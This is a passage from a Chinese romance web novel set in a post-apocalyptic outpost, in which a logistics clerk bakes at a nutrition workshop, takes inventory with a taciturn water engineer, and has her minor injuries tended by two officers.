“既然苏先生这么问,我就好奇,我猜猜,你应该在医疗区域工作吧?”
“是,我在B区担任外科专家和基因学者,和周老师的关系很好。”
10. 第 10 章
和苏水鹤分别后,林阮儿想起他刚才说的话,过几天有个免费基因测试,关于基因检测的,可以试试,通常基因可以检测出来异能者,异能有先天还有后天的,后天异能者通常会在某个阶段突然刺激而出现了异能,但林阮儿很明确自己不会有异能,苏水鹤才说就算没有免费的基因测试,也是一件不错的事,希望她能来。
林阮儿说自己会考虑的,没有非常明确的拒绝他,回到登记房,来了一位和她看起来年纪相仿的年轻人,他个子很高,但肩膀不算特别宽,身形偏于清瘦修长。
他穿着一身浅米色棉质上衣,那是只有在食堂区域才会穿的衣服。
他的头发是柔顺的深棕色,他的脸很清秀,他看向了林阮儿。
手里端着一个用油纸仔细包好的方盒子,盒子还没打开,林阮儿已经隐约闻到了那股诱人的甜香味道从那盒子里散发出。
“请问是后勤登记处的林阮儿吗?”他的声音很好听,十分温和地说。
“我是,你是?”林阮儿问。
“我是在食堂后面的那个营养坊工作。”
林阮儿:“哦。”
“我听说,后勤部最近在重新统计各功能区域的物资消耗和产出,我们营养坊也要报数据,对吧?所以方主任说,让我把上个月的用料明细和成品记录拿过来,先给你这边做个初步登记和核对。”
他说着,从衣服的前面的口袋里掏出一个用线装订起来的笔记本,递了过来。
林阮儿接过笔记本翻开,里面记录的日期、不同种类的面粉、糖、油脂、鸡蛋、牛奶的消耗数量,以及对应日期制作出的面包、饼干、简易蛋糕的品种和大概数量,所有的记录得都很详细,连一款南瓜风味饼干的试验新品,也有它的备注。
“营养坊?”林阮儿好像没有注意到过,她知道前哨站有基本的伙食供应,压缩干粮,偶尔有罐头或者改善一些伙食,但专门的营养坊,听起来太奢侈了。
“林登记员,从来没有去过吗?”
林阮儿摇了摇头,对方说:“营养坊是调配特需营养食物的,譬如,一些异能大佬常常过来,我们会为他们调配需要的营养,也有非异能者,自然也能在这边来。”
他把那个盒子放置在桌角,继续说,“今天正好试着烤了一点改良配方的蜂蜜小蛋糕,味道还行,我就想着可以在登记数据的同时,带点过来,给你尝尝。”
林阮儿:“给我?这不合规定吧?”
“就是一点试做的边角料,不占正式配额的,而且,方主任他也知道的,我们有时候试做新产品,会有多出来的部分,可以内部处理。真的,不违规!”
林阮儿嗯了声,声音轻轻柔柔地对人道了谢。
男人盯着林阮儿的脸看了看,怪不得师父他会让他过来送蛋糕,林登记员的颜值真高,离近了看,清秀间还带着点萌萌的感觉,长睫和粉嫩的嘴唇,看着简直是让人移不开眼,可真漂亮啊,女人白皙的一双手直接接过。
“你打开看看?还热乎着呢,这时候吃最好。”
林阮儿解开系着的细麻绳,小心翼翼地打开油纸,里面是六个金黄松软的小蛋糕,整齐地排列着,蛋糕表面刷了一层淡黄色的蜂蜜,烤出诱人的焦糖色,上面还零星点缀着几粒烤得香脆的燕麦片,一股极其好闻的浓郁香味,扑面而来。
林阮儿拿起一个,咬了一小口,蓬松的蛋糕体在她的口中化开,甜度恰到好处,一点也不腻。
“好吃吗?”他紧张地看着她。
林阮儿点点头,嘴巴里的东西还没完全咽下去:“很好吃。”
“我还怕太甜了,或者火候不对。这个配方调整了好几次呢,营养坊虽然设备简陋,用的也是代用材料居多。”
林阮儿:“你们那个营养坊,平时外人能进去吗?”
“原则上不行,算是半限制区域,因为涉及原料和食品安全,不过如果是林登记员你想去看看,不碰原料和设备的话,我可以在下午不太忙的时候,跟我师父他说一声,带你参观一下?”
林阮儿吃完这一块小蛋糕,彻底对那里感了兴趣,她说可以。
他见状说:“下午三点以后,我们一般就收拾准备第二天的材料了,那时候比较清静,你要是愿意,明天下午三点半左右过来?挨着小型净水装置的那个红砖小房子,门口有个手绘的小蛋糕标志。”
林阮儿想了想,明天下午确实没什么要紧事:“好,那我明天过去看看。”
“那林登记员,我先回去了,炉子上还烤着一盘饼干呢,得去看看火候,这些蛋糕林登记员可以留着吃。”
营养坊在B区医疗站的侧面,不是单独的一栋房子,而是由几间打通的房间改建的,外墙刷了一层干净的白色涂料。
林阮儿准时到了,门口没有什么花哨的牌子,只在一块金属板上刻着特殊营养制备室几个字
她敲了敲门,很快,门开了,开门的正是昨天来的那个男人,他换了身更干净些的浅色工装,看到林阮儿,笑了。
“快进来,外面冷。”他侧身让开。
林阮儿走了进去,门在身后轻轻合上,里面的空间比她想象的大,头顶是好几排明亮的LED灯管,里边的房间被划分成几个区域,靠墙是一排不锈钢的操作台和水槽,操作台上放着些两个电子秤、量杯等等,另一边是一个低温的冷藏柜。
最显眼的是房间中央靠里的位置,摆着一个烤箱,里面正冒着缕缕带着食物香气的白蒸汽。
整个屋子里都很暖和。
“这里真干净。”林阮儿忍不住说。
“那必须的,卫生是第一要求。”男人说着,就引着她走,避开了地上的几个储物箱。
“这边主要是处理基础原料,做流食和匀浆膳,里面那间小一点的无菌室才是配比特殊营养素和试验新品的地方,我的师父他一般都在里面。”
他的话音刚落,里面房间走出一个人,那人的个子在185左右,米白色的衣服被他穿得十分有气质,林阮儿看到他,男人向她微微点头,他皮肤很干净,在眼睛下方有颗非常小的泪痣,眼睛十分深邃,就这么看向了她。
纪安:“这就是我师父了,他也是方主任,整个前哨站的营养啊,食物啊,都归他管,他的手艺非常好。”
林阮儿主动地介绍自己:“你好,我是林阮儿。”
方怀庭抬头看了眼林阮儿:“昨天送去的蛋糕好吃吗?”
“很好吃,蜂蜜的味道恰好,甜度也很合适。”
方怀庭的手指十分纤长,边操作边说:“喜欢就好。”
“师父,林登记员对食物搭配好像也挺有想法的,昨天我跟她说起那个无麸质试验基料的事儿,她还问了几句呢。”纪安在旁边搭话,对方怀庭说。
方怀庭看了他一眼,又看向林阮儿:“哦?你对营养学也有了解?”
林阮儿:“那倒不是,就是以前家里老人的肠胃不好,我就知道一些营养搭配,也没什么的。”
方怀庭:“说说看。”
听她说话时,方怀庭目不转睛地盯着她,也可以说是对她的一种观察。
十分钟后。
“很好,下次我会试试,实际上,每次的配料和味道,都是经过一部分的调整才能最终出品,需要借鉴一下各方的意见,你说得很好。”
林阮儿:“只要有帮助就行。”
这时,方怀庭直接从冷藏柜里拿出一个深口不锈钢盘,盆地凝着一层细细的白霜,一旁有个油纸包好的方块,揭开油纸,是一块黄油。
他用一把窄长的金属刮刀,小心地切下一小块黄油膏,放进不锈钢盆里,然后走到屋子另一头,他把不锈钢盆放在烤炉的开口旁,让黄油慢慢软化。
他拿出几个鸡蛋,在碗沿轻轻一磕,手指灵活地分开蛋壳,让蛋液滑进另一
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个干净的小钵里。
蛋黄的颜色很深,几乎是橙色的。
方怀庭:“抱歉,林小姐,可以借一下你的手么?”
林阮儿:“没问题。”
“工序比较复杂,所以我需要你的帮助。”
说着,他的手会轻轻搭在林阮儿纤细的前臂上,耐心教她。
纪安站在一旁,本想凑上去帮忙,看到师父的眼神,只得停在原味不动。
方怀庭:“这里全靠搅蛋时,手腕的巧劲,自然,这很难。”
林阮儿的手腕被他的掌心再次覆上,他的掌心很干燥,她盯着他漂亮手指看了又看,确实没有见过这样好看的骨节,一时看得失了神。
渐渐地,蛋液的颜色均匀了起来,表面浮起一层黄色泡沫。
他不舍地松开了手,等林阮儿慢慢地打蛋,直到这里的蛋液变得浓稠一些,他才做自己的事。
他会走到储物架前,踮起脚从最上层拿下一个密封的玻璃罐。
二十分钟后,几个步骤全部做完,炉子同时已经预热好了,方怀庭便用厚布垫着手,将模具一个个小心地放进炉膛里的金属架上,关上炉门。
等待的时间里,他问:“之前有做过蛋糕么?”
“没有,这是我第一次尝试。”
“做甜品是种享受,你会渐渐爱上这种感觉。”
方怀庭的脸上一直没有摘下口罩,但看他的眉眼,就能看出他不会长得很难看,黑色的浓眉,棕红色的瞳孔,仿佛看人的时候,时间久了,就会被他的目光陷进去似的。
林阮儿看向了烤炉,蛋糕的顶稍微蓬松起来,变得愈发圆润,颜色也开始向金黄的颜色过渡了,气味一丝丝渗了出来,只是闻着就会感到十分满足。
方怀远偶尔会凑近炉门的小观察窗,看里面的情况,然后转向了林阮儿,说:“听小方说,你是祁牧炎队长带回来的?”
林阮儿点点头:“是的,我在这边迷了路,幸好祁队长他们路过才救了我。”
“哦,看来林小姐应该对祁队长充满感激吧。”
“是,要不是他,我没有办法活下去。”
他顿了顿,直接岔开话题,说:“林小姐,你来了以后,后勤部的物料进出记录还是清楚多了。”
“后勤部还是老张管的时候,扯皮的事儿就不少,不像这次的效率高得多,这乱摊子能接住,证明你足够仔细和认真。”
林阮儿:“我就是把该记的都记清楚了,就行。”
之后,方怀庭又走到身后的架子前,取出了一罐密封的玻璃罐。
罐子里装的是深琥珀色的液体,里面似乎还浸泡着一些深色的果肉。
方怀庭徐徐地对她说:“这是去年秋天,医疗站后边那几棵野梨树结的果子,我加了点之前库存的蜂蜜和香料,试着做了这么一小罐梨膏,这个润肺,林小姐你拿去,每天舀一小勺,温水化了喝,可以补补气血,我希望你别拒绝我。”
这都被他看出来了,这在前哨站,梨膏是很珍贵的,她本来就想拒绝他的,谁料他这一番话,反而让她一下子怔在原地,一时不知自己该说什么了。
方怀庭继续补充说:“不是什么稀罕的东西,拿着吧。”
他这么说,林阮儿只好拿着它,连连向他道谢,方怀庭:“不用谢我,林小姐,我想知道,你在这里待着开心么?”
“开心,这里的气味很好闻,情绪会一下子变得很好。”
“那就好,如果你想来这里,随时。”
纪安:“是啊,想来就可以来,在这边待上一整天都没事,来了就找我就行,或者找我师父。”
林阮儿点点头,瞥见站在她身边的纪安搔了搔头,脸颊泛起了一阵浅浅的红。
而方怀挺语气忽然变得有些冷,说:“纪安,帮林小姐把那罐梨膏包一下,小心别磕着。”
纪安:“好,我这就去。”
11. 第 11 章
接下来的三天里,日子过得依旧平静,直到今天上午,后勤部接到了命令,要配合净水中枢做一相关检测,前哨站的用水一直是个问题,河水会经过层层过滤消毒,循环用水更要严格的处理,每个环节不能出错,通常只有穿着全套防护服的技术员才能进入。
这里需要前往基地下层,因为是深层区域需要爬很多的梯子,但负责对接的人年纪大了,无法下去地下,这个任务就到了林阮儿身上。
对接人和林阮儿说:“你到那边就直接去找江屿,江工,那地方归他管,他让你记什么你就记什么,别多问,那人吧,不太爱说话,但东西都在他的脑子里,错不了的。”
林阮儿带自己的身份卡,走向通往基地下层的金属螺旋楼梯,越来越往下走,能感觉到空气里的湿度是在增加,温度渐渐降低,还好,她这次穿了厚衣服,裤子,不然还真会有些吃不消。
净水中枢大门旁边有个红色的通话按钮。
林阮儿按了下去。
等了好一会儿,扬声器里才传来了声音,是个男人的声音,音调平缓:“谁,什么事?”
“我是后勤部的登记员林阮儿,来核对库存的。”林阮儿对着门上的小格子说。
对方沉默了几秒,门里传来咔哒一声轻响,厚重的门缓缓滑开了。
门内是一个控制室,不大,四面墙上全部布满了闪烁的指示灯,房间中央是几块拼接的显示屏,一个男人背对着门,坐在一个可以滑动工程椅子上,正看着其中的一块屏幕。
他穿着深蓝色的工装,肩膀的线条很清晰,头发理得很短,脖颈那里露出一截,皮肤在屏幕的灯光照耀下显得有点过于白了。
听到声音,那张椅子转了过来。
林阮儿看到了他的脸。
这人的脸型偏瘦,轮廓分明,眼睛是深褐色的,看人的时候眼神很定,像能把你看穿,但又没什么情绪。
鼻梁挺直,嘴唇的颜色很淡,抿着,气质带给人一种疏离感。
“是江屿吗?”林阮儿试着问他。
他点了点头,声音还是那样,不高不低。
他的目光在她脸上很快地扫过,落到她手里的登记板上,然后又抬眼看她。
“滤芯在里面的库房里,需要进去点数目,跟我来吧。”
他说完就站起了身,他的个很高,感觉至少一米九,对比起来,林阮儿的个子小小的,有点迷你似的,他没等她回应,转身就往房间另一头的一扇小门走,林阮儿赶紧跟上去。
他人步子大,腿长,林阮儿跟不上,只能是小步地跑了过去,空间一下子变得巨大,空间内部有很多高高低低的金属管道,好多她不认识的大机器立在那里,发出低沉的嗡嗡声。
空气里的湿气更重了,还有一股臭氧的味道。
江屿走到一排高高的金属架前,按了下墙上的开关,几盏灯亮起来,照亮了架子上码放整齐的滤芯,每个袋子上都贴着标签。
“这种,用在最后一道净水,库存二十七个,上个月换下去三个,记录在控制台左边第三
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个绿色夹子里,旧的在那边灰色回收箱。”江屿指了指架子中间几排。
林阮儿赶紧在登记板上找到对应的地方,记下数目。
“换下去的原因是?”
“到时间了,过滤效果不够好了。”江屿回答她。
然后,他转身走向另一边,“那种是前置用的,在这边。”
两人一个报,一个记,江屿对这里每一样东西放在哪儿、有多少、什么时候动的,都一清二楚,他说话没有废话,有时候林阮儿笔尖稍微慢一点,他就会停下来,等她记完,也不催,安静地在一旁站着。
林阮儿改好数字,抬头想问他下一个项目,江屿也刚好从控制面板前直起身,手里拿着个小本子,转身准备走回来。
距离太近了,林阮儿只觉得眼前一暗,鼻尖差点撞上他胸前的硬质纽扣,她吓得直接低呼了一声,脚补下意识往后一退,却被地上不知何时松脱的一小截软管绊了一下,整个人瞬间失去平衡,向后仰去。
就在她以为自己要结结实实摔在水泥地上的时候,一只手臂迅速而有力地揽住了她的后背,另一只手抓住了她的胳膊。
江屿的反应极快,林阮儿摔在他身上,大半个人的重量都靠在了他的手臂。
她能十分清晰地感受到他手臂的肌肉感,还有胸膛的微微起伏。
他身上的味道很好闻,有一股极淡的皂香气,那种气味很怪,会让她忽然会有一种十分安心的感觉。
她抬头,两人距离咫尺,目光相撞在了一起……
12. 第 12 章
林阮儿的眼睛忍不住往江屿后腰上瞄。
男人的工装扎进裤子里,勒出一截窄而有力的腰线,再往上,背肌的隐约弧度……
或许是这地下空间过于压抑,林阮儿脑子一热,手就直接伸了过去,指尖轻轻擦过他后腰下方布料覆盖的地方,隔着衣服,快速碰了一下那紧实的肌肉。
就一下,碰完她自己都傻了,手僵滞在了半空中。
江屿整个人猛地顿住,他深褐色的眼睛盯着她,里面没什么怒气,更多的是一种错愕,他嘴唇着,却没说话。
林阮儿脸烧得能煎蛋了,现在自己恨不得挖个地缝钻进去。
“对、对不起!我就是……有点走神,手滑了。”这借口烂得她自己都不信。
地下空间昏暗的光线落在他脸上,把他本就没什么血色的皮肤衬得更白,耳根那点点的红色却更明显。
她之前身上抱过了那罐梨膏,那股味道直接萦绕在他鼻尖,久久无法消失。
江屿的喉结很明显地滚动了一下,他忽然别开脸,不再看她,声音硬邦邦的:“没受伤就先起来吧。”
林阮儿哦了一声,胳膊还能动,于是站起了身。
说完,两人转身继续往前走,一前一后,江屿的步子比之前快了不少。
林阮儿对自己刚才的事,十分懊恼地拍了拍自己额头,她根本不会知道,走在前面的江屿,垂在身侧的手指不时地蜷缩又松开,手心里竟然有点湿漉漉的汗。
女人刚才那一下触碰,哪怕隔着布料,却浑身起了一丝不正常的躁动。他只能用力把那股力压下去。
末世前,江屿曾是顶尖水务工程团队里最年轻的骨干,灾难爆发时,他所在的研究所被波及,导师和同伴几乎全没了,后来,这里的前哨站建起来,他就到这边做地下管控师,他向来不喜欢人际,一直冷冷的。
接下来,两人都没再说话。
但配合仍旧十分顺利。
江屿报数,林阮儿核对,不到二十分钟,就已经全部弄完了。
林阮儿抱着自己拿来的登记板,跟着江屿回到最初的控制室里。
“报告按商量好的写,最后交给秦长官就行。”江屿坐回他的椅子,没看她,手指已经在键盘上敲击起来,十分专注。
林阮儿点头,事情全部办完,她转身走向另一侧的出口门,门滑开之后,就走了出去。
门在她身后缓缓关闭,控制室里,江屿敲击键盘的手指停了下来,他过了一会儿,他慢慢地自己的左手,他的手指修长。
江屿盯着自己手指看了几秒,然后,极其轻微地低下头,鼻尖凑近自己的指尖,非常淡地嗅了一下。
果然,带着一股香甜,是两人摔倒时,被女人的味道缠上来的……
林阮儿因为走的是出口门,发现和来的路好像不太一样,下来的螺旋楼梯口找不到了,眼前是几条看起来差不多的岔路。
里面的空气越来越潮湿,脚下的地面有些滑腻,就在距离她的不远处,总是传来一阵窸窸窣窣的声音,像有什么东西在管道后面爬。
听到声音后的她有点慌了,抱着登记板的手紧了紧,早知道就该让江屿送她到楼梯口,她正犹豫着该往哪边走,忽然,身后很近的地方,传来一个男人的声音。
“注意你脚下。”
声音不高,但很有磁性。
林阮儿吓得一激灵,转身。
就在自己身后几步外,站着一个男人,他的个子极高,林阮儿得仰头才能看清他的脸,肩膀非常宽厚,他没穿常见的深绿色军服,而是一身近乎纯黑的作战套装,料子看起来很特殊,不是普通棉布,带着点哑光质感,套装裁剪非常合身。
而且,他压根就没穿防护服。
他的皮肤是健康的古铜色,一双剑眉浓黑,男人的目光十分沉稳,林阮儿完全可以感受到他强大的气场。
林阮儿的眼神下意识地就扫过了他小臂,小臂裸露在外,青色的血管在皮肤下微微隆起,甚至,充满了原始的力量感。
林阮儿定了定神,对他说:“你好,请问往上去的楼梯怎么走?”
男人没立刻回答,他的目光在她脸上停留片刻,又扫过她手里的登记板。
“后勤部的?怎么跑到这里来?”
林阮儿只好和他解释一番,男人点了点头,视线落在她脚边潮湿的地面上。
“这里管道老旧,渗漏多,地面滑,还有鼠患。”他话音刚落,旁边一条锈蚀的管道后面就嗖地窜过一团灰黑色的影子,伴随着吱吱的细叫声,消失在黑暗里。
林阮儿下意识往后退了一小步,脚下踩到一片湿滑的苔藓,差点又滑倒。
但她对老鼠这种东西,实在是有点发怵。
男人看了她一眼,继续说:“左边第二条岔路,走到头,右转你会看到一个红色警示灯,然后顺着铁梯上去。”
“好,好的,谢谢你。”林阮儿连忙点头,很诚恳地和他道了谢。
走得时候,她发现了男人左边眉骨上方,有一道很淡的旧疤。
然后,她按他说的,转身往左边第二条岔路走了过去,但她的脚下果然很滑,还有不少积水,她小心翼翼地,会走得有点点慢。
走出几步,发现那男人并没有离开,而是不近不远地跟在她侧后方,保持着一段距离。
这让林阮儿心里稍微地安定了一些,她走到岔路尽头,需要右转的地方,地上有一大片不知道是油还是水的反光区域,格外湿滑。
“踩着那边凸起的管道基座过去。”男人的声音从后面传来。
林阮儿看到自己旁边确实有一截凸起的混凝土基座,但有点窄,她深吸口气,试着先把自己的一只脚踩了上去。
终于上去了,她抱着登记板,低头看了看自己,制服裤脚和袖口都沾了地下道的湿泥,头发估计也乱糟糟的,现在的自己看起来肯定是已经狼狈极了吧。
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不仅仅是这样,她的右面脚踝还受伤了,越是小心谨慎,却还是摔倒了,就在刚才,她已经走到最后一段路,上楼时,楼梯有一处没有踩稳当,脚下滑了,身体瞬间失衡,幸而,一只大手及时从后面伸过来,稳稳地扶住了她的胳膊。
那手掌极大,手指粗长有力,握住她胳膊时,热度隔着薄薄的衣袖传来,力道控制得恰到好处,既止住了她的跌势,又没捏疼她。
可仍旧右脚脚踝还是擦伤了,涌出一点点的血迹来。
男人是等她完全站好了,才缓缓地松开了手。
现在的她想赶紧溜回自己的后勤部,一抬头,却看见不远处的广场边缘,沈舵站在那里,跟两个士兵正说着什么。
沈舵目光越过那两个士兵的肩膀,直直地落在她身上,然后又移向她的身后,那个跟在林阮儿后面的高大身影。
沈舵对那两个士兵快速说了句什么,然后转身,朝着林阮儿这边走了过来。
“林登记员。”沈舵在离她几步远的地方停下,先跟她打了招呼,然后目光就转向了她身后的男人,点了点头,道:“秦长官。”
她身后那个穿着黑色作战套装的男人就是秦长官吗?身后的男人只是淡淡地嗯了一声,算是回应。
林阮儿想起要把登记板给他,秦觉只是笑笑,说:“原始核对内容你先留着,把它誊写在册子上,再给我。”
林阮儿:“好的。”
但她站不直身,一直在广场花坛上坐着,沈舵察觉到她微蹙着的眉心,她的脚踝有伤。
“脚伤了?”沈舵开口问她。
林阮儿:“就是有点擦伤,没什么事。”
沈舵上前半步,对她说:“你需要把伤口及时处理一下,否则感染了就不好了。”他说着,就要伸手去扶林阮儿的胳膊。
“我来吧。”秦觉的声音打断了沈舵的动作。
秦觉他走上前,他没去扶林阮儿,而是在她面前蹲了下来。
秦觉他直接伸出右手,他的手虚虚地悬在她右脚踝肿胀发红的位置上方,大概几厘米的距离。
林阮儿屏住呼吸,看着他。
他的脸上没什么表情,眼神专注地看着她的脚踝,指尖就放在那个位置上,大约五分钟时间,一股带着些微刺痛感的暖流,瞬间从脚踝处渗透进来。
虽然脚踝的肿胀感还在,但疼痛感却明显减轻了大半。
他站起身,沉声:“淤血散了就好,彻底恢复还得半小时左右,千万别沾水。”
林阮儿轻轻地活动了一下脚踝,果然好多了。
说完,秦觉直接转身离开了。
这会儿,沈舵关切地问她:“还能走吗?”
“应该可以慢慢走回去。”
沈舵没说话,只是看着她,看她走路一瘸一拐,然后,他忽然上前一步,弯下腰,一手穿过她的腿弯,另一只手揽住她的后背,稍一用力,就把她打横抱了起来。
13. 第 13 章
林阮儿被这突如其来的打横抱,感到意外,沈舵的手臂很稳,抱着她丝毫不显吃力。
沈舵:“你的脚需要休息,不能受力,从这里走回后勤部,伤势会加重。”
他抱着她,转身就朝指挥部三楼走去。
这时候的广场还有不少人来往。
士兵,后勤人员,换岗的小队,他们就这么看着沈舵沈指挥官这样抱着林阮儿走了过去。
“嚯,沈指挥官他抱着谁呢?”
“看着像是后勤部那个新来的登记员妹子?”
“是她,就是她,长得可水灵了!”
“沈指挥官他平时冷得跟冰块似的,居然也会抱女人?”
“你懂什么,那妹子肯定不一般,没看见刚才秦长官居然还跟她说话了吗?”
“秦长官?!不是,我说这是真的假的?”
“我亲眼看见的,秦长官他还蹲下来……好像给她处理伤口来着。”
“啧啧,这什么运气啊……先是祁队长,现在又是沈指挥官,连秦长官都……”
“咳,我们啊,羡慕也没用,人妹子不会搭理的。”
“哎,你说沈指挥官把她抱去哪里……是想干嘛啊?”
“还能干嘛?上药呗,你以为都跟你似的满脑子废料啊?”
“上药需要抱着走?我看啊……”
那些低低的议论声,被淋阮儿听到,她把脸往沈舵胸前埋了下,假装自己根本听不见。
被他这样抱着,身体不可避免地紧密贴合,她能感觉到他胸膛的起伏。
沈舵似乎完全不受周围目光影响,他脚步不停,很快走进指挥部大楼三层的休憩室,那是他晚上睡觉的地方。
他抱着林阮儿走了进去,然后小心地把她放在一张铺着深黑色毯子的床上。
房子的空间很大,但家具不多,角落有两把椅子,一张可折叠的桌子,上面堆满了文件和打开的笔记本电脑,侧面的一个金属文件柜,墙角就放着他的个人用品,十分整齐,而且,很干净。
“坐着别动。”沈舵把她放了下来。
林阮儿的手指从他的脖颈之间滑落,手有点凉,带着点酥麻感,惹得他不住有些心痒。
他走回来,说:“秦长官他是进化者,和异能者不同,进化者靠挖掘自身生命潜能,强化身体,获得某些特殊能力,比如超速愈合、力量爆发,或者像他刚才那样,用自身生物能量促进他人局部恢复,但这也会消耗他们自己的体力和能量储备,所以一般不会轻易用,所以,他们常常会需要摄入高能量食物来维持。”
“其他地方有没有受伤,磕碰到哪里?”沈舵问完,就开始仔细地检查她身上的其他地方。
“应该没有。”林阮儿下意识地摇头,沈舵让她动动胳膊手臂啊,她听话动了动,果然,在她的左肩后面突然传来一阵轻微的刺痛,让她吸了口气,她忽然想起了在地下管道区,好像有冰冷的水滴从破损的管道溅到过那里,不过当时她并没怎么在意,啊,她疼得嘶了一声,自己居然这么不注意么?都没发现。
沈舵站起身,走到她身侧:“这里的衣服能拉起来一点吗?我看看。”林阮儿犹豫了,就这么扯开衣服的话,不合适吧。
可要看伤口,还是需要的,沈舵说:“放心,我这里的医疗设备很全,如果你不想,那就只能去医疗区了。”
林阮儿于是只好脱下了外衣。
沈舵:“好像……还没到地方,只是露出脖子不行吧。”
她只好侧过身,背对着他,小心地把左边制服的领口和肩膀处的布料往下拉了拉,露出小半个肩膀和一片后背的皮肤。
房间里的光线不算很亮,但完全可以看清。
在她左边肩胛骨偏下的位置,有一小块皮肤颜色不太对,比周围皮肤红一些,中间有个针尖大小的破损点,周围微微肿起一小圈。
沈舵的眉头瞬间拧紧了,仔细凑近地看了一眼。
“这不是普通的水,看颜色和残留的痕迹,可能是深层管道渗出的腐水,必须立刻处理。”
腐水?林阮儿心里一慌,那水居然有毒?
沈
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舵不再多说,他快速从急救箱里拿出一瓶药水、无菌棉签和一小罐药膏。
“会有点刺痛,忍一下。”沈舵温声地说着,用新的棉签蘸消毒的药水,他的动作非常轻,但极其精准地涂抹在那块发红的皮肤上。
药水接触皮肤的瞬间,林阮儿忍不住缩了一下肩膀。
“别动。”沈舵左手迅速抬起,不是按,而是稳稳地扶住了她没受伤的右边胳膊,阻止了她乱动。
他的右手则继续稳稳地上药。
“腐水里的东西不清除干净,感染扩散会很麻烦。”
药水涂完,沈舵丢掉棉签,打开那罐药膏,用自己的指尖挖了一小坨。药膏是淡绿色的,带着一股清凉的草药味,他的指尖沾着药膏,轻轻点在那块皮肤上,然后开始用指腹均匀地推开、涂抹。
他的动作比刚才上药时更轻,更像是一种揉按。
就在这时,房门突然被从外面被打开一条缝,一个年轻士兵探头进来:“沈指挥官,指挥部那边催问西区数据……”
士兵的话卡在喉咙里,他瞪大了眼睛,看着房间里的场景,那位向来以不近人情著称的沈舵,竟正蹲在一个衣衫半褪的女人身旁,手指轻轻地抚在她肩头皮肤……
士兵的脸腾地红了,喉咙里不自觉地咽了口口水,眼神都直了。
沈舵的动作顿住了,他没有立刻回头,只是那只扶着林阮儿胳膊的手,微微收紧了一些。
“出去。”沈舵的声音响起。
“数据文件放在外面桌子上,还好,没有我的允许,任何人不能不敲门进屋。”
“是!”
那士兵缩回头,屋门赶紧闭上,然后,外面传来一阵慌慌张张跑远的脚步声。
沈舵刚才那一瞬间收紧的手,还有他此刻依旧停留在她皮肤上的指尖,变得微微滚烫。
沈舵沉默了几秒,然后,他仿佛什么都没发生一样,继续用指腹将那清凉的药膏在她肩后那块皮肤上轻轻揉开,直到完全吸收。
但他的呼吸,似乎比刚才稍微重了一点点。
14. 第 14 章
林阮儿的脚踝和肩头的伤,好得比预想的快多了,第二天早上起来,伤口的肿胀几乎全消了,肩后那块被腐水溅到的地方也不红不痛了,只剩下药膏残留的一点点清凉感。
心里记着这份人情,林阮儿觉得光是口头道谢不够,她想了想,趁着中午休息,她去了营养坊。
营养坊里的纪安见到她自然很是开心,听说她脚扭了还紧张了一下,知道没事才放心。
“方师父在吗?”林阮儿问。
“他在里间配比营养素呢,有事找他吗?”纪安问。
“我想自己做两个小点心,简单点的那种。”她说。
纪安:“这好办,师父昨天还说呢,你之前提的那个用烘干的野莓碎增味的点子,我们试了加到基础饼里,反响不错!正好还剩一点点野莓碎,你就可以做饼干了。”
林阮儿:“那真太好了。”
之后,方怀挺走出,知道林阮儿做点心的用途,便说:“哦?什么时候要是我能尽自己所能帮助林小姐,要是林小姐有这样一份心对我,这样的待遇我可是求之不得啊。”
林阮儿愣了一下,方怀挺走近她:“那么,开始吧,不是要做饼干么?”
对她而言,过程自然有些复杂,毕竟是第一次尝试,方怀挺教得很认真,果然,林阮儿很快就能上手,四十分钟后,两个烤得金黄焦脆的小饼就彻底做好了,里面夹着一点点深紫色的野莓碎和特制的低糖豆沙,用干净的油纸仔细包好。
林阮儿先去了指挥部,找沈舵,楼上,沈舵并不在,只有他身后一位年轻的助手在整理文件。
助手说沈指挥官人去开会了,现在回不来。
“那……麻烦你把这个转交给沈先生,就说谢谢他昨天的帮忙。”林阮儿只好先把其中一个油纸包递给助手。
助手接过,点点头:“好的,林登记员,我会转达。”
但秦长官,自己该到哪里找人呢,看他昨天朝着指挥部大楼后面那片更僻静的区域走去。
她抱着试试看的心态,自己朝那片区域走去,这边守卫明显更严,隔一段就有站岗的士兵们。
她出示了身份卡,也说明了自己的来意,士兵他只是打量了她几眼,就给她指了路:“秦长官的住所在前头那排灰色板房最左边那间,不过这个点,秦指挥可能在训练或者休息,你过去看看吧。”
灰色板房的最左边那间门关着,窗户拉着帘子,林阮儿走到门口,轻轻地敲了敲门。
过了一会儿,门被拉开。
秦觉站在门口,他上身只穿着一件黑色的紧身背心,下身是宽松的作训长裤。
古铜色的肌肤覆着一层薄薄的汗珠,他肩膀和胸膛的肌肉分明,随着呼吸缓缓起伏,手臂的线条更是贲张有力,青色的血管在皮肤下清晰可见。
男人的头发湿漉漉的,有几缕贴在额前,应该是刚刚运动过。
林阮儿:“抱歉,我是不是有打扰到您。”
秦觉:“差不多,我在练单杠,不过训练时间也该结束了。”
秦觉看了她一眼,又看了看她手里的油纸包,侧身让开,说:“进来吧。”
房间里的陈设要比她想象中简单,几乎没什么个人物品,一张床,一张桌子,一把椅子,最显眼的是房间中央,有一些运动设施,其中是一根很结实的金属横杠,地上铺着一块垫子。
“有事?”秦觉走到桌边,拿起一块毛巾擦了擦脸上和脖子上的薄汗,动作间背肌舒展收缩,充满了力量感。
“昨天谢谢您帮我,还有这个是我在营养坊亲手做的一盒小点心,是一点心意,请您收下。”林阮儿把油纸包递给他。
秦觉的目光落在油纸包上,没动。
“不用,帮你也是顺便而已,我不怎么爱吃甜食,这些你自己留着吧。”
他的拒绝很直接,林阮儿有点尴尬,但还是坚持:“我还是希望您能收下,哪怕只是尝尝也好。”
另外,那个册子林阮儿也带来了,交给他。
秦觉于是没再纠结点心的事,点点头。
东西既然已经送来,林阮儿就准备回去,秦觉:“对了,我只知道你姓林,你叫什么?”
“林阮儿。”
“好。”
秦觉等她走后,才拿起那块打开的饼干,平日,他只吃高能量的食物,这种食物从不感兴趣,却拿起它就放进嘴里,味道居然还很不错?
下午,前哨站东侧的训练场很是热闹。
不是正式训练,而是几个小队自发组织的模拟对抗演练,算是枯燥任务后的放松时间。
林阮儿下午事情少,自己就去外边溜达,顺便看了过去,站在训练场的旁边。
场地上,两队士兵正在模拟巷战攻防,用的虽然是训练弹,但实打实的对抗和碰撞,倒很真实。
所有演练的士兵们穿着背心或干脆光着膀子,在障碍物间奔跑、翻滚,汗水在大太阳光下晶莹发亮,贲张的肌肉线条充满了爆发力。
“漂亮,那一下闪避可以啊!”
“左边包抄,快!”
“干得不错!”
……
